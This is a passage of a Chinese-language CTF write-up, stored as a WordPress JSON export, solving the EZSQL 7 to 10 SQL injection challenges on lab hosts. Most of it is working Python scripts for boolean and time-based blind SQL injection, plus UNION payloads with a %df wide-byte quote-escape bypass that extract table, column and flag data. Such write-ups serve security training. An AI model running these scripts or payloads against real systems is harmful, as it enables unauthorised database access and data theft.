\/><\/div><\/figure>\n\n\n\n<p>\u7f51\u9875\u662f\u4e00\u4e2a\u8f93\u5165\u7528\u6237\u540d\u548c\u5bc6\u7801\u7684\u767b\u5f55\u754c\u9762\uff0c\u90a3\u4e48\u76f4\u63a5\u811a\u672c\u7206\u7834\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\n\nimport time\n\nurl = \"http:\/\/docker.qingcen.net:44859\/?username=admin&amp;password=1' or \"\n\nflag = ''\n\nfor i in range(1, 100):\n\n&nbsp; &nbsp; time.sleep(0.06)\n\n&nbsp; &nbsp; low = 32\n\n&nbsp; &nbsp; high = 128\n\n&nbsp; &nbsp; mid = (low + high) \/\/ 2\n\n&nbsp; &nbsp; while low &lt; high:\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u6570\u636e\u5e93\u540d\n\n&nbsp; &nbsp; &nbsp; &nbsp; # payload = f\"ascii(mid(database(),{i},1))&gt;{mid}%23\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u8868\u540d\n\n&nbsp; &nbsp; &nbsp; &nbsp; # payload = f\"ascii(mid((select\/**\/group_concat(table_name)\/**\/from\/**\/information_schema.tables\/**\/where\/**\/table_schema=database()),{i},1))&gt;{mid}%23\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u5b57\u6bb5\u540d\n\n&nbsp; &nbsp; &nbsp; &nbsp; # payload = f\"ascii(mid((select\/**\/group_concat(column_name)\/**\/from\/**\/information_schema.columns\/**\/where\/**\/table_name=0x666c6167),{i},1))&gt;{mid}%23\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u6570\u636e\n\n&nbsp; &nbsp; &nbsp; &nbsp; # payload = f\"ascii(mid((select\/**\/group_concat(flag)\/**\/from\/**\/flag),{i},1))&gt;{mid}%23\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; r = requests.post(url + payload)\n\n&nbsp; &nbsp; &nbsp; &nbsp; if 'Login successful.' in r.text:\n\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; low = mid + 1\n\n&nbsp; &nbsp; &nbsp; &nbsp; else:\n\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; high = mid\n\n&nbsp; &nbsp; &nbsp; &nbsp; mid = (low + high) \/\/ 2\n\n&nbsp; &nbsp; if mid == 32 or mid == 127:\n\n&nbsp; &nbsp; &nbsp; &nbsp; break\n\n&nbsp; &nbsp; flag += chr(mid)\n\n&nbsp; &nbsp; print(\"\u5f53\u524d\u7ed3\u679c\uff1a\", flag)\n\nprint(\"\\n\u6700\u7ec8\u7ed3\u679c\uff1a\", flag)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>EZSQL-7\u9898\u89e3<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql13-1024x590.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"590\" data-original=\"https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/2026-qingcen-ezsql13-1024x590.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-123\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u67e5\u8be2id\u4e3a1\u7684\u5458\u5de5\uff0c\u53d1\u73b0\u53ea\u663e\u793a\u67e5\u8be2\u6210\u529f\u8fd4\u56de\u7684\u5185\u5bb9\uff0c\u90a3\u4e48\u786e\u5b9a\u662f\u5e03\u5c14\u76f2\u6ce8\uff0c\u901a\u8fc7\u4ee5\u4e0b\u811a\u672cflag\u7206\u7834\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\n\nimport time\n\nurl = \"http:\/\/docker.qingcen.net:45814\/?id=-1' or \"\n\nflag = ''\n\nfor i in range(1, 100):\n\n&nbsp; &nbsp; time.sleep(0.06)\n\n&nbsp; &nbsp; low = 32\n\n&nbsp; &nbsp; high = 128\n\n&nbsp; &nbsp; mid = (low + high) \/\/ 2\n\n&nbsp; &nbsp; while low &lt; high:\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u6570\u636e\u5e93\u540d\n\n&nbsp; &nbsp; &nbsp; &nbsp; # payload = f\"ascii(mid(database(),{i},1))&gt;{mid}%23\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u8868\u540d\n\n&nbsp; &nbsp; &nbsp; &nbsp; # payload = f\"ascii(mid((select\/**\/group_concat(table_name)\/**\/from\/**\/information_schema.tables\/**\/where\/**\/table_schema=database()),{i},1))&gt;{mid}%23\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u5b57\u6bb5\u540d\n\n&nbsp; &nbsp; &nbsp; &nbsp; # payload = f\"ascii(mid((select\/**\/group_concat(column_name)\/**\/from\/**\/information_schema.columns\/**\/where\/**\/table_name=0x666c6167),{i},1))&gt;{mid}%23\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; # \u7206\u6570\u636e\n\n&nbsp; &nbsp; &nbsp; &nbsp; # payload = f\"ascii(mid((select\/**\/group_concat(flag)\/**\/from\/**\/flag),{i},1))&gt;{mid}%23\"\n\n&nbsp; &nbsp; &nbsp; &nbsp; r = requests.post(url + payload)\n\n&nbsp; &nbsp; &nbsp; &nbsp; if '\u67e5\u8be2\u6210\u529f' in r.text:\n\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; low = mid + 1\n\n&nbsp; &nbsp; &nbsp; &nbsp; else:\n\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; high = mid\n\n&nbsp; &nbsp; &nbsp; &nbsp; mid = (low + high) \/\/ 2\n\n&nbsp; &nbsp; if mid == 32 or mid == 127:\n\n&nbsp; &nbsp; &nbsp; &nbsp; break\n\n&nbsp; &nbsp; flag += chr(mid)\n\n&nbsp; &nbsp; print(\"\u5f53\u524d\u7ed3\u679c\uff1a\", flag)\n\nprint(\"\\n\u6700\u7ec8\u7ed3\u679c\uff1a\", flag)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>EZSQL-8\u9898\u89e3<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/image-1-1024x643.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"643\" data-original=\"https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/image-1-1024x643.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-147\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u67e5\u8be2\u540e\u7684\u6570\u636e\u65e0\u8bba\u5bf9\u9519\uff0c\u53ea\u663e\u793a\u6587\u672c\u5185\u5bb9\uff0c\u5224\u65ad\u662f\u4e00\u4e2a\u65e0\u56de\u663esql\u6ce8\u5165\uff0c\u901a\u8fc7\u65f6\u95f4\u578b\u76f2\u6ce8\uff0c\u4ee5\u4e0b\u662f\u65f6\u95f4\u578b\u76f2\u6ce8\u811a\u672c\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport time\n\nurl = \"http:\/\/docker.qingcen.net:32956\/\"\nresult = \"\"\n\nfor i in range(1, 100):\n    low = 32\n    high = 127\n\n    while low &lt; high:\n        mid = (low + high) \/\/ 2\n\n        # \u7206\u6570\u636e\u5e93\n        # payload = f\"' OR IF(ASCII(SUBSTR(DATABASE(),{i},1))>{mid}, SLEEP(3), 0)#\"\n\n        # \u7206\u8868\u540d\n        # payload = f\"'  OR IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema=DATABASE()),{i},1))>{mid}, SLEEP(3), 0)#\"\n\n        # \u7206\u5b57\u6bb5\n        # payload = f\"'  OR IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(column_name) from information_schema.columns where table_schema=DATABASE() AND table_name='flag'),{i},1))>{mid}, SLEEP(3), 0)#\"\n\n        # \u7206\u503c\n        # payload = f\"'  OR IF(ASCII(SUBSTR((SELECT flag from flag),{i},1))>{mid}, SLEEP(3), 0)#\"\n\n        try:\n            start = time.time()\n            requests.get(url, params={\"id\": payload}, timeout=10)\n            end = time.time()\n\n            if end - start > 2.5:\n                low = mid + 1\n            else:\n                high = mid\n        except:\n            time.sleep(0.5)\n            continue\n\n    if low &lt;= 32:\n        break\n\n    result += chr(low)\n    print(result)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>EZSQL-9\u9898\u89e3<\/strong><\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/image-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"855\" height=\"707\" data-original=\"https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/image-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-150\"  sizes=\"auto, (max-width: 855px) 100vw, 855px\" \/><\/div><\/figure>\n\n\n\n<p>\u672c\u9898\u88ab\u8fc7\u6ee4\u4e86\u5f15\u53f7\uff0c\u90fd\u4f1a\u5728\u524d\u9762\u52a0\u5165\\\u8f6c\u6362\uff0c\u53ef\u4ee5\u901a\u8fc7%df\u7ed5\u8fc7\uff0c\u89e3\u6790\u6210\u6c49\u5b57\uff0c\u4ece\u800c\u7ed5\u8fc7\u3002\u5728username\u540e\u4fee\u6539\u6210sql\u6ce8\u5165\uff0cpassword\u968f\u610f\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ \u6d4b\u8bd5\u54ea\u4e2a\u5b57\u6bb5\u53ef\u4ee5\u4f7f\u7528\n%df' union select 1,2,3,4-- \n\/\/ \u7206\u8868\u540d\n%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4--\n\/\/ \u7206\u5b57\u6bb5\u540d\n%df' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name=0x666c6167--\n\/\/ \u7206\u503c\n%df' union select 1,group_concat(id,name,passwd,secret),3,4 from flag--<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">EZSQL-10\u9898\u89e3<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/image-3-1024x875.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"875\" data-original=\"https:\/\/www.mrkuku.site\/wp-content\/uploads\/2026\/05\/image-3-1024x875.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-162\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>&#8216; or 1=1#\u6ce8\u5165\u540e\u62a5\u9519\u4e86 <strong>Warning<\/strong>: SQLite3::query(): Unable to prepare statement: 1, unrecognized token: &#8220;#&#8221; in<strong>\/var\/www\/html\/index.php<\/strong>on line<strong>38<\/strong>\u3002sqlite\u6570\u636e\u5e93\u7684\u6ce8\u91ca\u662f\u4e24\u4e2a\u51cf\u53f7 &#8212;<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>EZSQL-1\u9898\u89e3 \u8fd9\u662f\u9053\u767b\u5f55\u754c\u9762\uff0c\u6709\u7528\u6237\u540d\u548c\u5bc6\u7801\u8f93\u5165\u6b63\u786e\u624d\u80fd\u767b\u5f55\u6210\u529f\uff0c\u4f46\u53ef\u60f3\u800c\u77e5\uff0c\u9898\u76ee\u53ef\u6ca1\u6709\u90a3\u4e48\u7b80\u5355\u3002 \u901a\u8fc7 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":137,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[6,8,5,7],"class_list":["post-111","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-article","tag-ctf","tag-sql","tag-web","tag-7"],"_links":{"self":[{"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/posts\/111","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/comments?post=111"}],"version-history":[{"count":21,"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/posts\/111\/revisions"}],"predecessor-version":[{"id":163,"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/posts\/111\/revisions\/163"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/media\/137"}],"wp:attachment":[{"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/media?parent=111"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/categories?post=111"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mrkuku.site\/index.php\/wp-json\/wp\/v2\/tags?post=111"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}